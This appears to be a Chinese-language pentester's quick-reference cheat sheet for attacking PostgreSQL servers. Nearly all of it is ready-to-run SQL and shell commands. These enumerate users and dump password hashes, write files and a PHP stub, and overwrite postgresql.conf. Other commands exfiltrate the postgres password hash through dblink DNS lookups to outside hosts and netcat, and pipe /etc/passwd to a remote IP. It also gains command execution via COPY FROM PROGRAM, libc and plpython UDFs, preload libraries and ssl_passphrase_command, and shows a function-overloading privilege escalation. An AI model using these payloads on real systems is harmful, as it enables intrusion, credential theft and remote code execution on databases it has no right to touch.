更新时间:2022.4.21
老鸟速查笔记,新手建议直接读文末引用。
查看服务器端版本
-- 详细信息
select version();
-- 版本信息
show server_version;
select pg_read_file('PG_VERSION', 0, 200);
-- 数字版本信息包括小版号
SHOW server_version_num;
SELECT current_setting('server_version_num');
列目录
-- 注意: 在早期的 PostgreSQL 版本中,pg_ls_dir 不允许使用绝对路径
select pg_ls_dir('/etc');
-- 获取 pgsql 安装目录
select setting from pg_settings where name = 'data_directory';
-- 查找 pgsql 配置文件路径
select setting from pg_settings where name='config_file'
列出数据库
SELECT datname FROM pg_database;
列出表
SELECT table_name FROM information_schema.tables WHERE table_schema='public';
查看服务器ip地址
select inet_server_addr()
查看安装的扩展
select * from pg_available_extensions;
查询密码
用户 hash 已经是 scram-sha-256,在以前的版本是加盐md5
SELECT usename, passwd FROM pg_shadow;
SELECT rolname,rolpassword FROM pg_authid;
查询当前的加密方式
-- password_encryption参数决定了密码怎么被hash
SELECT name,setting,source,enumvals FROM pg_settings WHERE name = 'password_encryption';
查看当前用户是不是管理员权限
SELECT current_setting('is_superuser');
-- on 代表是, off 代表不是
SHOW is_superuser;
SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER;
- 拥有网站路径写入权限
- 知道网站绝对路径
copy (select '<?php phpinfo();?>') to '/tmp/1.php';
方法2
COPY (select convert_from(decode('ZmZmZmZmZmYweA==','base64'),'utf-8')) to '/tmp/success.txt';
采用大对象 OID 和路径,将文件写入路径。
select lo_from_bytea(12349,'ffffffff0x');
SELECT lo_export(12349, '/tmp/ffffffff0x.txt');
-- base64 的形式
select lo_from_bytea(12350,decode('ZmZmZmZmZmYweA==','base64'));
SELECT lo_export(12350, '/tmp/ffffffff0x.txt');
-- 记下生成的lo_creat ID
select lo_creat(-1);
-- 替换 24577 为生成的lo_creat ID
INSERT INTO pg_largeobject(loid, pageno, data) values (24577, 0, decode('ZmZmZmZmZmYweA==', 'base64'));
select lo_export(24577, '/tmp/success.txt');
利用分片进行上传,首先创建一个 OID 作为写入的对象, 然后通过 0,1,2,3… 分片上传但是对象都为 12345 最后导出到 / tmp 目录下, 收尾删除 OID
SELECT lo_create(12345);
INSERT INTO pg_largeobject VALUES (12345, 0, decode('7f454c4...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 1, decode('0000000...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 2, decode('f604000...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 3, decode('0000000...7400', 'hex'));
SELECT lo_export(12345, '/tmp/test.so');
SELECT lo_unlink(12345);
select lo_create(11116);
select lo_put(11116,0,'dGVzdDEyM');
select lo_put(11116,9,'zQ1Ng==');
select lo_from_bytea(11141,decode(encode(lo_get(11116),'escape'),'base64'));
select lo_export(11141,'/tmp/test.txt');
SELECT lo_unlink(11141);
方法来自于 https://www.yulegeyu.com/2020/11/16/Postgresql-Superuser-SQL%E6%B3%A8%E5%85%A5-RCE%E4%B9%8B%E6%97%85/ 这篇文章的场景
利用条件
- 目标已经配置了 logging_collector = on
描述
配置文件中的 log_directory 配置的目录不存在时,pgsql 启动会失败,但是如果日志服务已启动,在修改 log_directory 配置后再 reload_conf 目录会被创建
原理
logging_collector 配置是否开启日志,只能在服务开启时配置,reloadconf 无法修改,log_directory 用来配置 log 日志文件存储到哪个目录,如果 log_directory 配置到一个不存在的目录,pgsql 会创建目录。
先查看配置文件的路径
select setting from pg_settings where name='config_file'
查看内容
select pg_read_file('/var/lib/postgresql/data/postgresql.conf');
修改配置文件里面的日志目录
log_destination = 'csvlog'
log_directory = '/tmp/f0x'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
log_rotation_size = 100MB
log_rotation_age = 1d
log_min_messages = INFO
logging_collector = on
转为 base64 格式
cat out.txt | base64 -w 0 > base64.txt
将修改后的配置文件加载到largeobject中
select lo_from_bytea(10001,decode('base64的内容,这里略','base64'));
-- 通过lo_export覆盖配置文件
select lo_export(10001,'/var/lib/postgresql/data/postgresql.conf');
SELECT lo_unlink(10001);
-- 重新加载配置文件
select pg_reload_conf();
查询一下修改是否成功
select name,setting,short_desc from pg_settings where name like 'log_%';
-- 开启 dblink 扩展
CREATE EXTENSION dblink
-- 获取当前数据库用户名称
SELECT * FROM dblink('host='||(select user)||'.djw0pg.dnslog.cn user=test dbname=test', 'SELECT version()') RETURNS (result TEXT);
查询当前密码
SELECT * FROM dblink('host='||(SELECT passwd FROM pg_shadow WHERE usename='postgres')||'.c8jrsjp2vtc0000rwce0grjcc3oyyyyyb.interact.sh user=test dbname=test', 'SELECT version()') RETURNS (result TEXT);
利用nc
nc -lvv 4444
select dblink_connect((select 'hostaddr=x.x.x.x port=4445 user=test password=test sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres')));
- 版本9.3-10.0
PostgreSQL 其 9.3 到 10 版本中存在一个逻辑错误,原理就是在public空间上重载函数,加入恶意的程序代码。等待其他账户尤其是超级用户在不知情的情况下触发普通用户创建的恶意代码,导致执行一些不可预期的操作。
详细复现可以参考 vulhub 靶场中的 writeup
1、创建表并插入数据(evil权限执行):
CREATE TABLE public.hehehehe AS SELECT 'evil'::varchar AS contents;
2、定义函数(evil权限执行):
CREATE FUNCTION public.upper(varchar) RETURNS TEXT AS $$
ALTER ROLE evil SUPERUSER;
SELECT pg_catalog.upper($1);
$$ LANGUAGE SQL VOLATILE;
3、查询时候使用upper函数(bobac权限执行)
SELECT upper(contents) FROM hehehehe;
此时就执行了ALTER ROLE evil SUPERUSER;使evil的权限变成bobac的权限。
- 版本9.3-11.2
- 超级用户或者pg_read_server_files组中的任何用户
PostgreSQL 其 9.3 到 11 版本中存在一处“特性”,管理员或具有“COPY TO/FROM PROGRAM”权限的用户,可以使用这个特性执行任意命令。
文章:https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
在 8.2 以前,postgresql 不验证 magic block,可以直接调用本地的 libc.so
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc xxx.xx.xx.xx');
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE C STRICT;
CREATE FUNCTION system(cstring) RcETURNS int AS '/lib64/libc.so.6', 'system' LANGUAGE C STRICT;
select system('id');
8.2 以上版本,需要自己编译 so 文件去创建执行命令函数,可以自己编译反弹 shell 后门,也可以用 sqlmap 提供好的
- https://github.com/sqlmapproject/sqlmap/tree/master/data/udf/postgresql
参考https://github.com/No-Github/postgresql_udf_help
PostgreSQL 可以支持多种存储过程语言,官方支持的除了 PL/pgSQL,还有 TCL,Perl,Python 等。
默认 PostgreSQL 不会安装 Python 的扩展。
查看是否支持 plpython3u
select * from pg_language;
select lanname from pg_language;
创建一个 UDF 来执行我们要执行的命令
CREATE FUNCTION system (a text)
RETURNS text
AS $$
import os
return os.popen(a).read()
$$ LANGUAGE plpython3u;
创建好 UDF 后,进行调用
select system('ls -la');
方法来自于 https://www.yulegeyu.com/2020/11/16/Postgresql-Superuser-SQL%E6%B3%A8%E5%85%A5-RCE%E4%B9%8B%E6%97%85/ 这篇文章的场景
session_preload_libraries 只允许 superuser 修改,但可以加载任意目录的库,session_preload_libraries 配置从 pg10 开始存在,低于 pg10 时,可以使用 local_preload_libraries,不过该配置只允许加载 $libdir/plugins/ 目录下的库,需要将库写入到该目录下。
当每次有新连接进来时,都会加载 session_preload_libraries 配置的共享库。
和上面的利用 UDF 命令执行一样,不过不同点在于上面一个是创建 function 加载,这个方式是通过改配置文件中的 session_preload_libraries 进行加载
方法来自于 https://pulsesecurity.co.nz/articles/postgres-sqli 这篇文章的场景
- 需要知道 PG_VERSION 文件的位置 (不是 PG_VERSION 文件也行,pgsql限制私钥文件权限必须是0600才能够加载,pgsql目录下的所有0600权限的文件都是可以的,但覆盖后没啥影响的就 PG_VERSION 了)
当配置文件中配置了 ssl_passphrase_command ,那么该配置在需要获取用于解密SSL文件密码时会调用该配置的命令。
通过上传 pem,key 到目标服务器上,读取配置文件内容,修改配置文件中的ssl配置改为我们要执行的命令,通过lo_export覆盖配置文件,最后通过 pg_reload_conf 重载配置文件时将执行命令
以已经存在的2个密钥文件为例
/etc/ssl/certs/ssl-cert-snakeoil.pem
/etc/ssl/private/ssl-cert-snakeoil.key
通过文件读取获取私钥
select pg_read_file('/etc/ssl/private/ssl-cert-snakeoil.key');
对私钥文件加密
# 密码为 12345678
openssl rsa -aes256 -in ssl-cert-snakeoil.key -out private_passphrase.key
# 输出为 base64 格式
cat private_passphrase.key | base64 -w 0 > base.txt
上传 private_passphrase.key 到目标服务器上
由于 pgsql 限制私钥文件权限必须是 0600 才能够加载,这里搜索 pgsql 目录下的所有 0600 权限的文件,发现 PG_VERSION 文件符合条件,而且覆盖也没有太大影响
PG_VERSION 与 config_file 文件同目录,上传私钥文件覆盖 PG_VERSION,可绕过权限问题。
将 private_passphrase.key 覆盖 PG_VERSION 文件
select lo_from_bytea(10004,decode('base64的内容,这里略','base64'));
select lo_export(10004,'/var/lib/postgresql/data/PG_VERSION');
SELECT lo_unlink(10004);
读取配置文件内容
select setting from pg_settings where name='config_file'
select pg_read_file('/var/lib/postgresql/data/postgresql.conf');
在原始配置文件内容末尾追加上ssl配置
ssl = on
ssl_cert_file = '/etc/ssl/certs/ssl-cert-snakeoil.pem'
ssl_key_file = '/var/lib/postgresql/data/PG_VERSION'
ssl_passphrase_command_supports_reload = on
ssl_passphrase_command = 'bash -c "touch /tmp/success & echo 12345678; exit 0"'
转为 base64 格式
这里我将配置文件的内容存到了 out.txt 中
cat out.txt | base64 -w 0 > base3.txt
-- 将修改后的配置文件加载到largeobject中
select lo_from_bytea(10001,decode('base64的内容,这里略','base64'));
-- 通过lo_export覆盖配置文件
select lo_export(10001,'/var/lib/postgresql/data/postgresql.conf');
SELECT lo_unlink(10001);
-- 重新加载配置文件,重新加载配置文件后,ssl_passphrase_command 中的命令就会执行
select pg_reload_conf();
PostgreSQL 读取文件
-- 注意: 在早期的 PostgreSQL 版本中,pg_read_file 不允许使用绝对路径
select pg_read_file('/etc/passwd');
-- 单引号被转义的情况下使用
select/**/PG_READ_FILE($$/etc/passwd$$)
方法二
drop table testaaaa;
create table testaaaa(t TEXT);
copy testaaaa from '/etc/passwd';
select * from testaaaa limit 1 offset 0;
PostgreSQL 读取文件2
Select lo_import('/etc/passwd',12345678);
select array_agg(b)::text::int from(select encode(data,'hex')b,pageno from pg_largeobject where loid=12345678 order by pageno
单引号被转义的情况下使用
select/**/lo_import($$/etc/passwd$$,11111);
select/**/cast(encode(data,$$base64$$)as/**/integer)/**/from/**/pg_largeobject/**/where/**/loid=11111